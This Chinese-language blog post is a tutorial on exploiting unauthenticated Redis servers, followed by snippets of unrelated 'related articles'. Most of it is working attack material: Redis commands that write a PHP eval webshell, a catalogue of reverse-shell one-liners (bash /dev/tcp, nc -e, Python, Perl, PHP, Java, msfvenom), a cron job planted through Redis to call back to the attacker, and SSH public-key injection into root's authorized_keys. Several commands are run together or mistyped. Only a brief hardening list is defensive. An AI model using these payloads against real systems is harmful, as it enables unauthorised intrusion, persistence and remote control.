当前位置: 首页 > news >正文

02-Redis未授权访问漏洞

免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!

本文为超全超详细的Redis未授权访问漏洞详谈。

1、Redis常见用途

  • 缓存
  • 分布式session、分布式锁、分布式全局ID
  • 计数器、限流
  • 列表
  • 抽奖
  • 标签
  • 排行榜

Redis常用数据类型:

  1. String:字符和整型
  2. Hash:哈希表
  3. List:有序数组
  4. Set:无序集合
  5. ZSet:有序集合

2、环境安装

使用到的环境及工具有:
1、kali
2、两台redis
3、蚁剑
Redis安装在网上有很多讲述,这里就不赘述了。
这里需要两台redis(一台redis-client,一台redis-server。使用的是centos7)。
重要的是更改redis.conf配置

vim小技巧:快速查找可以输入/然后打上要找的指令。例如:/daemonize no

  1. 窗口一关服务就挂了,所以改这样改:
 daemonize no  改为daemonize yes
  1. 取消IP绑定bind, 默认的是:bind 127.0.0.1 。要前面加个#号
# bind 127.0.0.1
  1. 开放6379端口或者关闭防火墙
systemctl status firewalld #检查防火墙状态
systemctl stop firewalld.service    #关闭防火墙
systemctl disable firewalld.service    #禁止开机启动
  1. 不需要密码(默认)requirepass yourpasswd 把这一行注释掉
# requirepass yourpasswd

3、Redis持久化机制

把内存的信息,不定时的存入到硬盘内。有两种保存机制

  1. RDB Redis DataBase (默认)
  2. AOF Append Only File

配置:
1、save 3600 1 #自动触发规则
2、dbfilename dump.rdb #文件名
3、dir ./ #存储路径
运维管理员手动触发保存命令:save / bgsave

4、Redis动态修改配置

config set:动态修改配置,重启以后失效

这里是搭建了一个小皮面板。

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

然后下面操作把配置地址修改到/www/admin/localhost_80/wwwroot下。然后改了名称

config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
set aaa bbb
save

在这里插入图片描述

// 这里的conn是我通过alias写的快捷连接命令。
在这里插入图片描述

去文件下查看是否成功并写入命令在这里插入图片描述
在这里插入图片描述

这里我们就成功了。这里说明我们可以通过修改redis的配置文件的目录及名称并往其中写入php脚本比如一句话木马。这就可以做很多事了。

5、利用Redis实现攻击

5.1、webshell提权

我们先清空redis.php里的内容

flushall
save

在这里插入图片描述

写入我们的一句话木马,前面的x也就是key无关紧要

set x "<?php @eval($_POST[sydm]); ?>"

在这里插入图片描述

使用蚁剑连接测试一下,成功上线
请添加图片描述
请添加图片描述

5.2、bash反弹连接提权


这里就要提一下,什么时候要用到反弹连接

  1. 内网,私有IP
  2. IP动态变化
  3. 6379端口不允许入方向
  4. 一句话木马被杀软删除
    正常连接是。我们控制机去连接靶机。
    反弹连接是。让靶机来自动连接我们控制机

5.2.1、反弹连接的实现

要解决两个问题

  1. 控制机怎么监听一个端口?
    三种监听方式

    1.netcat

    nc -lvp 7777
    

    2.msf

    msfconsole
    use exploit/multi/handler
    set payload php/meterpreter/reverse_tcp
    set lhost 192.168.110.5
    set lport 7777
    run
    

    3.socat(kali)

    socat TCP-LISTEN:7777 - 
    
  2. 靶机怎么连接到控制机的端口?
    常见的连接方式有以下几种

    1. Linux bash
    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    
    1. netcat
    nc -e /bin/bash 192.168.110.14 7777
    
    1. Python
    python -c "importos,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.110.14',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    1. PHP
    php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.142.44 7777");'php -r '$sock=fsockopen("192.168.110.14",7777);exec("/bin/bash -i<&3 >&3 2>&3");'
    
    1. Java
    r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/7777;cat<&5 |while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
    
    1. perl
    perl -e ' useSocket;$i="192.168.142.44";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    1. msf-PHP
    msfvenom -p php/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -o shell.php
    
    1. msf-Java
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f war -o shell.war 
    msfvenom -p java/meterpreter/reverse_tcplhost=192.168.142.141lport=7777 -f jar -o shell.jar
    
    1. msf-exe
    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.14 lport=7777 -i 5 -f exe -o test.exe
    

还有很多连接方法,根据不同环境进行操作。(其实很多都是基于bash连接的)

5.2.2、netcat实际操作

  1. 先在redis-client开启监听
    nc -lvp 7777
    

在这里插入图片描述

  1. 接着在服务端输入连接口令(注意,这里的ip是我们控制机的ip)

    bash -i >& /dev/tcp/192.168.110.14/7777 0>&1
    

在这里插入图片描述

这时候客户端就有消息提示连接了,测试一下。客户端输入的指令,是不是在服务端运行。输入ifconfig。我们这台客户端ip是110.14,服务端ip是110.15.

在这里插入图片描述

连接成功。

5.2.3、socat实际操作

socat是在kali上运行的。

  1. 在kali上开启监控7777端口
		socat TCP-LISTEN:7777 - 

在这里插入图片描述

  1. 在redis-server上连接kali的ip.(kali的ip为110.5)
	bash -i >& /dev/tcp/192.168.110.5/7777 0>&1

在这里插入图片描述

kali上冒泡了,连接成功

在这里插入图片描述

5.2.4、msf-exe实际操作

  1. 生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.5 lport=7777 -i 5 -f exe -o test.exe

在这里插入图片描述

  1. 把文件先取出来
sz file test.exe

在这里插入图片描述

  1. 放在我们要监听的windows(ip:110.6)虚拟机上,并双击执行

在这里插入图片描述

  1. 在kali上设置监听
	msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.110.5set lport 7777exploit

在这里插入图片描述

  1. 连接成功后,可以执行一系列命令meterpreter可以执行很多操作
#查看本机信息
sysinfo
#截图
screenshot
#进入windows命令
shell
#查看本机ip
ipconfig

在这里插入图片描述


5.2.5、反弹连接总结

详谈一下

bash -i >& /dev/tcp/192.168.110.5/7777 0>&1
#打开一个交互式的bash终端
bash -i
#将标准错误输入合并到标准输出轴
>&
#与远程机器(也就是我们的控制机)建立一个socket连接
/dev/tcp/192.168.110.5/7777
#将标准输入重定向到标准输出中
0>&1

这也就是为什么我们在控制机上输入的内容会在靶机上执行,然后结果反弹回控制机上

流程:

  1. 监听端口
  2. 执行命令,或者上传payload访问,建立连接

怎么上传?

  1. 文件上传漏洞
  2. 写入文件:MySQL、Redis、CMS
  3. 文件编辑命令:tee、test.py

怎么执行?

  1. 访问
  2. 定时任务自动触发

5.3、定时任务

cron表达式
这边可以用在线工具生成,也有说明
地址:https://www.pppet.net/

命令操作
crontab -u root -r删除某个用户的任务
crontab -u root time.cron把文件添加到某个用户的任务
crontab -u root -l列举某个用户的任务
crontab -u root -e编辑某个用户的任务

cron文件存储路径

#这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab
/var/spool/cron 
#放的是对应周期的任务dalily、hourly 、monthly、weekly
/etc/crontab 

5.3.1、通过定时任务建立反弹连接

  1. 在redis服务器上启动redis服务,并输入netstat -an|preg 6379。查看是否启动成功
    在这里插入图片描述

  2. redis客户端启动监听端口

nc -lvp 7777

在这里插入图片描述

  1. 另起一台redis客户端连接服务器并写入反弹命令
# 这里面的*****代表的是每分钟执行一次
#\n是为了和其他数据换行
set x "\n* * * * * bash -i >& /dev/tcp/192.168.110.14/7777 0>&1\n" #要把这个写入到/var/spool/cron/下
config set dir /var/spool/cron/#这里要用root用户
config set dbfilename root#最后保存
save

在这里插入图片描述

这里我们可以去服务器下验证一下,看文件是否存在内容有没有写入
在这里插入图片描述

4.连接成功
过一会就连接上了
在这里插入图片描述

这里就可以用wget等等就做一些事了

5.4、SSH key免密登陆

5.4.1、ssh key简述

5.4.2、使用ssh key进行免密登陆

  1. 生成ssh-key,其他内容直接回车就行
shh-keygen
  1. 查看一下在.ssh下,有两个文件了。pub就是公钥,另一个就是私钥了

在这里插入图片描述

  1. 将公钥发送到服务器
ssh-copy-id root@192.168.110.15

在这里插入图片描述

我们在服务器就可以查看到传输了
同时这个authorized_keys的内容也就是这一串字符,这说明了什么,我们同样可以使用redis写入,达到把公钥放在靶机上。

  1. 这时候服务端就有我们的公钥了,就可以进行免密登陆
# 注意这个要在.ssh目录下才能使用到这个密钥
ssh -i ./id_rsa root@192.168.110.15

登陆成功
在这里插入图片描述

5.4.3、通过redis完成

  1. 先进行redis连接,先写入一些换行符
conn
set sshkey "\n\n\n----\n\n\n"

在这里插入图片描述

  1. 再开一台client,把公钥拿到
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain

在这里插入图片描述

  1. 清空内容再写入我们的公钥
flushall
set sshkey "/n/n/ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4H4Qz0/u+CWlIqzyV0OLb+gJHXxfcNLOrMmx2jhMRc5m3BcoUS8h+yeUw+jthLlAanXh93UTcmGfOasJhEmo6Idb/19QhmCXBGneBqhHzUqoMZNi5Int+C7SO8jK8hm9IVIgfIe3rgtjuxOnePCcrDTOtlNOvz+WsrlMwvMYyu8oxhgfgDwnx2acs1OD5P5E3ywHrAS3nn4XtsVZSR0o2HUZuC4BLXAOu00eS8e3W0ntPiiGnVrIvlqsO6R+HRAinAT7+LwjuBeaqNCEFnEtn+bs4hh6iQcNlfz9w1q+sd0u4SWgGmssJKigvkNNAatJh0l0+KVBCFJ64zXkNmQ2d root@localhost.localdomain/n/n/n"
save

在这里插入图片描述

  1. 修改文件路径及文件名
config set dir /root/.ssh
config set dbfilename authorized_keys
save

在这里插入图片描述

  1. 连接成功

在这里插入图片描述

5.4.4、总结

  1. 控制机连接到Redis
  2. 向$HOME/.ssh/authorized_keys写入公钥
  3. ssh -i ./id_rsa user@IP 使用私钥免密登录(这里的user代表角色可以用root,IP为靶机ip)
  4. 执行后续操作

redis还有其他提权操作:

  1. 基于主从复制的RCE(Remote Code Execution)
  2. jackson 反序列化利用
  3. lua RCE
  4. Structured Query Language
  5. Redis密码爆破

8、Redis加固方案

1、限制访问IP
2、修改默认端口
3、使用密码访问
4、不要用root运行Redis

9、一些问题总结

  1. 怎么知道有这个根目录把redis配置文件写在这下面
    这一般是通过目录扫描等方法得到的,并且80端口是否有开放这些都是信息收集得到的。这个只是其中一种提权手段
  2. 在使用redis写入sshkey时,后面连接还是需要输入密码。这个在写入的时候前面加两个换行符就可以避免/n/n

相关文章:

02-Redis未授权访问漏洞

免责声明 本文仅限于学习讨论与技术知识的分享&#xff0c;不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;本文作者不为此承担任何责任&#xff0c;一旦造成后果请自行承担&…...

Linux——多路复用之poll

目录 前言 一、poll的认识 二、poll的接口 三、poll的使用 前言 前面我们学习了多路复用的select&#xff0c;知道多路复用的原理与select的使用方法&#xff0c;但是select也有许多缺点&#xff0c;导致他的效率不算高。今天我们来学习poll的使用&#xff0c;看看poll较于…...

【AI资讯】7.19日凌晨OpenAI发布迷你AI模型GPT-4o mini

性价比最高的小模型 北京时间7月19日凌晨&#xff0c;美国OpenAI公司推出一款新的 AI 模型“GPT-4o mini”&#xff0c;即GPT-4o的更小参数量、简化版本。OpenAI表示&#xff0c;GPT-4o mini是目前功能最强大、性价比最高的小参数模型&#xff0c;性能逼近原版GPT-4&#xff0…...

3.设计模式--创建者模式--工厂模式

3.设计模式–创建者模式–工厂模式 3.1简单工厂和静态 工厂&#xff08;不属于23中设计模式&#xff09; //抽象类&#xff1a;定义了产品的规范&#xff0c;描述了产品的主要特性和功能 public interface Tea {public abstract void setName();public abstract String getNa…...

IOT 的 10 种常见协议、组网模式、特点及其使用场景浅析

前情&#xff1a; 开放系统互连&#xff08;OSI&#xff09;模型&#xff0c;它列出了七层。从下到上&#xff0c;各层如下&#xff1a; 物理层 数据链接 网络层 传输层 会话层 推介会 应用层 物联网也以多层模型的形式表达。尽管有些使用 OSI 七层模型&#xff0c;但其…...

【Android】 dp与sp,加冕为王

目录 重要概念 屏幕尺寸 屏幕分辨率 屏幕像素密度 基础知识&#xff1a; ppi pt DPI 的定义和重要性 Android 中的 DPI 级别 px dp&#xff08;Density Independent Pixels&#xff09; sp&#xff08;Scale-independent Pixels&#xff09; 安卓的dp/dip、sp 虚拟…...

R语言画散点图-饼图-折线图-柱状图-箱线图-直方图-曲线图-热力图-雷达图

R语言画散点图-饼图-折线图-柱状图-箱线图-直方图-曲线图-热力图-雷达图 散点图示例解析效果 饼图示例解析效果 折线图示例解析效果 柱状图示例解析效果 箱线图示例解析效果 直方图示例解析效果 曲线图使用 curve() 函数示例效果 使用 plot() 函数示例效果 使用 ggplot2 包绘制…...

影响转化率的多元因素分析及定制开发AI智能名片S2B2C商城系统小程序的应用案例

摘要&#xff1a;在互联网时代&#xff0c;转化率是衡量营销活动成功与否的关键指标。本文首先分析了影响转化率的多种因素&#xff0c;包括活动页面的设计、活动的限时性、主题文案的吸引力、从众心理的运用&#xff0c;以及最核心的产品质量与优惠力度。接着&#xff0c;本文…...

数据仓库中事实表设计的关键步骤解析

在数据仓库的设计过程中&#xff0c;事实表是描述业务度量的核心组件。本文将深入探讨数据仓库中事实表设计的关键步骤&#xff0c;包括选择业务过程及确定事实表类型、声明粒度、确定维度和确定事实的过程&#xff0c;帮助读者更好地理解和应用事实表设计的原则和方法。 第一…...

.net6 core Worker Service项目,使用Exchange Web Services (EWS) 分页获取电子邮件收件箱列表,邮件信息字段

Program.cs 安装包&#xff1a;Microsoft.AspNetCore.Hosting.WindowsServices、Microsoft.Extensions.Hosting、Microsoft.Extensions.Hosting.WindowsServices、Microsoft.Extensions.Logging.Log4Net.AspNetCore 新建Configs/log4net.config using Com.Chinahorn.Exchange.W…...

通过 EMR Serverless Spark 提交 PySpark 流任务

在大数据快速发展的时代&#xff0c;流式处理技术对于实时数据分析至关重要。EMR Serverless Spark提供了一个强大而可扩展的平台&#xff0c;它不仅简化了实时数据处理流程&#xff0c;还免去了服务器管理的烦恼&#xff0c;提升了效率。本文将指导您使用EMR Serverless Spark…...

【Linux网络】epoll实现的echo服务器{nocopy类/智能指针/echo服务器}

文章目录 1.代码基础1.1某类唯一存在1.2C智能指针 2.epoll实现的echo服务器日志套接字CMakeepoll封装主函数服务器 1.代码基础 1.1某类唯一存在 这段代码定义了一个名为 nocopy 的类&#xff0c;它旨在防止该类的实例被复制或赋值。这是通过在类中显式删除拷贝构造函数&#…...

[数据集][目标检测]拐杖检测数据集VOC+YOLO格式2778张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;2778 标注数量(xml文件个数)&#xff1a;2778 标注数量(txt文件个数)&#xff1a;2778 标注…...

长按加速- 解决react - setInterval下无法更新问题

最开始直接setInterval里&#xff0c;useState硬写&#xff0c;发现更新不&#xff0c;固定值 换let&#xff0c;发现dom更新不了 正确做法是用ref 并且pc端可以长按的&#xff0c;只是要用onTouchStart&#xff0c;不要用onMouseDown onTouchStart{handleMouseDown} onTou…...

路网双线合并单线——ArcGIS 解决方法

路网双线合并成单线是一个在地图制作、交通规划以及GIS分析中常见的需求。双线路网定义&#xff1a;具有不同流向、不同平面结构的道路。此外&#xff0c;车道数较多的道路&#xff08;例如&#xff0c;双黄实线车道数大于4的道路&#xff09;也可以视为双线路网&#xff0c;本…...

【.NET全栈】ASP.NET开发Web应用——ADO.NET数据访问技术

文章目录 前言一、ADO.NET基础1、ADO.NET架构2、ADO.NET数据提供者 二、连接数据库1、SqlConnection数据库连接类2、使用SqlConnectionStringBuilder连接字符串3、关闭和释放连接4、在web.config配置文件中保存连接字符串5、连接池技术 三、与数据库交互1、使用SqlCommand操作数…...

【机器学习】无监督学习和自监督学习

1. 什么是机器学习 机器学习是一种使计算机系统能够从数据中学习并做出预测或决策的技术和科学领域。它不需要显式地编程来执行特定任务&#xff0c;而是通过使用算法来分析数据和识别模式&#xff0c;以此“学习”如何做出准确的预测或决策。 以下是机器学习的几个关键点&…...

蓝牙新篇章:WebKit的Web Bluetooth API深度解析

蓝牙新篇章&#xff1a;WebKit的Web Bluetooth API深度解析 在物联网(IoT)时代&#xff0c;Web应用与物理设备的交互变得越来越重要。WebKit的Web Bluetooth API开启了一个新时代&#xff0c;允许Web页面直接与蓝牙设备通信。这一API不仅提高了用户体验&#xff0c;还为创新的…...

2024可信数据库发展大会:TDengine CEO 陶建辉谈“做难而正确的事情”

在当前数字经济快速发展的背景下&#xff0c;可信数据库技术日益成为各行业信息化建设的关键支撑点。金融、电信、能源和政务等领域对数据处理和管理的需求不断增加&#xff0c;推动了数据库技术的创新与进步。与此同时&#xff0c;人工智能与数据库的深度融合、搜索与分析型数…...

Guns v7.3.0:基于 Vue3、Antdv 和 TypeScript 打造的开箱即用型前端框架

摘要 本文深入探讨了Guns v7.3.0前端项目&#xff0c;该项目是基于Vue3、Antdv和TypeScript的前端框架&#xff0c;以Vben Admin的脚手架为基础进行了改造。文章分析了Guns 7.3.0的技术特点&#xff0c;包括其使用Vue3、vite2和TypeScript等最新前端技术栈&#xff0c;以及提供…...

Java 语言特性(面试系列1)

一、面向对象编程 1. 封装&#xff08;Encapsulation&#xff09; 定义&#xff1a;将数据&#xff08;属性&#xff09;和操作数据的方法绑定在一起&#xff0c;通过访问控制符&#xff08;private、protected、public&#xff09;隐藏内部实现细节。示例&#xff1a; public …...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解

【关注我&#xff0c;后续持续新增专题博文&#xff0c;谢谢&#xff01;&#xff01;&#xff01;】 上一篇我们讲了&#xff1a; 这一篇我们开始讲&#xff1a; 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下&#xff1a; 一、场景操作步骤 操作步…...

使用分级同态加密防御梯度泄漏

抽象 联邦学习 &#xff08;FL&#xff09; 支持跨分布式客户端进行协作模型训练&#xff0c;而无需共享原始数据&#xff0c;这使其成为在互联和自动驾驶汽车 &#xff08;CAV&#xff09; 等领域保护隐私的机器学习的一种很有前途的方法。然而&#xff0c;最近的研究表明&…...

MVC 数据库

MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...

Qwen3-Embedding-0.6B深度解析:多语言语义检索的轻量级利器

第一章 引言&#xff1a;语义表示的新时代挑战与Qwen3的破局之路 1.1 文本嵌入的核心价值与技术演进 在人工智能领域&#xff0c;文本嵌入技术如同连接自然语言与机器理解的“神经突触”——它将人类语言转化为计算机可计算的语义向量&#xff0c;支撑着搜索引擎、推荐系统、…...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

OPENCV形态学基础之二腐蚀

一.腐蚀的原理 (图1) 数学表达式&#xff1a;dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一&#xff0c;腐蚀跟膨胀属于反向操作&#xff0c;膨胀是把图像图像变大&#xff0c;而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

基于 TAPD 进行项目管理

起因 自己写了个小工具&#xff0c;仓库用的Github。之前在用markdown进行需求管理&#xff0c;现在随着功能的增加&#xff0c;感觉有点难以管理了&#xff0c;所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD&#xff0c;需要提供一个企业名新建一个项目&#…...

A2A JS SDK 完整教程:快速入门指南

目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库&#xff…...